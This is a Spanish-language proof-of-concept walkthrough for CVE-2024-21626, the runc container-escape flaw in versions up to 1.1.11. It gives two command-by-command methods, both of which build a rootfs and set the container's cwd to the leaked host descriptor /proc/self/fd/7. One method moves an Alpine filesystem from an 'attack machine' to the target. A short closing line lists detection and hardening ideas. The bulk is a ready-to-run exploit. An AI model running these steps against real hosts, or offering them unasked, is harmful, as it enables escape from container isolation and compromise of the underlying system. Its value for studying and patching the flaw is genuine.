
PoC para CVE-2024-21626: runc filtra un fd interno que hace referencia al CWD del host antes de pivot_root, permitiendo el escape de contenedor al establecer process.cwd en /proc/self/fd/7
| Campo | Detalle |
|---|---|
| CVE | CVE-2024-21626 |
| Componente afectado | runc ≤ 1.1.11 |
| Clase de vulnerabilidad | Escape de contenedor mediante fuga de descriptor de archivo |
| Apodo | Leaky Vessels |
runc filtra un descriptor de archivo interno (típicamente fd/7) que apunta al directorio de trabajo del sistema de archivos del host antes de ejecutar el proceso del contenedor. Al establecer el cwd del contenedor en config.json como /proc/self/fd/7, el proceso aterriza en un directorio del host en lugar de en el rootfs del contenedor — logrando un escape de contenedor.
Cree un rootfs mínimo copiando binarios directamente del host:
# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Generate default OCI config
runc spec
# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To: "cwd": "/proc/self/fd/7"
vi config.json
# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer
Qué sucede: runc abre fd/7 haciendo referencia al CWD del host antes de realizar el pivote al rootfs del contenedor. Establecer cwd en /proc/self/fd/7 provoca que runc ejecute chdir() hacia la ruta del host en lugar de la del contenedor — aterrizando en el sistema de archivos real.
Si necesitas un entorno más completo o el host tiene binarios limitados:
# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar
# Transfer alpine.tar to the target, then:
# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Generate OCI bundle config
runc spec
# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Run
sudo /opt/debug --log /tmp/log.json run strikontainer
openat() en /proc/self/fd/ dentro de configuraciones cwd del contenedor; alertar sobre paquetes OCI con cwd que contenga /proc/self/fd/proc; considerar contenedores rootless o gVisor/Kata para un aislamiento más fuerte